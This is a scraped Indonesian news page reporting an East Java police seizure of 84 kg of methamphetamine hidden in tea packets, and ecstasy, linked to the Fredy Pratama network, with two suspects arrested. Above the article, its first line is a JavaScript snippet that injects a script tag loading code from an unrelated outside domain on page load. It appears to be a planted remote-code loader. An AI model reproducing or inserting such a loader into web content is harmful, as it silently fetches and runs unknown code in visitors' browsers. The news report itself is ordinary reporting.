(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SURABAYA – Direktorat Reserse Narkoba (Ditresnarkoba) Polda Jawa Timur (Jatim) berhasil mengungkap dugaan tindak pidana penyalahgunaan dan peredaran narkotika jenis sabu serta ekstasi jaringan internasional Fredy Pratama.
Dalam operasi yang dilakukan, Ditresnarkoba Polda Jatim berhasil menyita barang bukti sebanyak 84 kg sabu yang tersembunyi dalam 41 bungkus teh China merk Guanyinwang warna gold dan 2.100 butir ekstasi logo Phillips warna biru.
Tersangka yang berhasil ditangkap adalah ABM (35) dari Kota Bandung dan YDS (22) dari Kota Palangkaraya.
Kapolda Jawa Timur Irjen Pol Imam Sugianto menjelaskan, ABM ditangkap pada 24 Mei 2024 di Kabupaten Banjar, Kalimantan Selatan, sedangkan YDS ditangkap pada 21 Juni 2024 di Kota Banjarmasin, Kalimantan Selatan.
Baca juga: Harga Minyakita di Banjarbaru Lebihi HET, Stok Susah Diperoleh
“Kasus ini bermula dari pengembangan Laporan Polisi (LP) pada Mei 2023 di TKP Sidoarjo, yang terkait dengan tersangka AR yang saat ini sudah dipenjara di Jawa Timur,” ujarnya, Selasa (23/7/2024) siang.
Dalam perkiraan polisi, nilai barang bukti yang diamankan mencapai Rp85 miliar jika dikonversikan dapat menyelamatkan 820 ribu jiwa manusia dari dampak negatif narkotika.
Sementara itu, Ditresnarkoba Polda Jatim Kombes Pol Robert Da Costa menegaskan, ABM berperan sebagai pengendali di gudang, sementara YDS bertugas sebagai kurir yang merancang pengiriman sesuai pesanan.
“Modus operandi sindikat ini sering menggunakan kemasan teh China untuk mengelabui penegak hukum. Proses peredaran narkotika dilakukan melalui berbagai jalur, termasuk pengiriman darat, laut, dan jasa titipan. Upah yang diterima kurir rata-rata berkisar antara Rp10 juta hingga Rp 20 juta per kilogram barang yang diantar,” ucapnya.
Dia menyebut, untuk mencapai konsumen, para pelaku juga melakukan modifikasi kendaraan agar mampu mengangkut narkotika tanpa terdeteksi.
Baca juga: Warga Protes! 4 Truk Sampah Dibuang di Kantor Bupati dan DPRD Sintang
“Area-area di Jawa Timur seperti Surabaya, Sidoarjo, dan Gresik menjadi sasaran utama untuk peredaran barang haram ini,” tandasnya.
Kedua tersangka dijerat dengan Pasal 114 ayat (2) dan/atau Pasal 112 ayat (2) Undang-undang RI Nomor 35 tahun 2009 tentang Narkotika. (Kanalkalimantan/Beritasatu.com)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.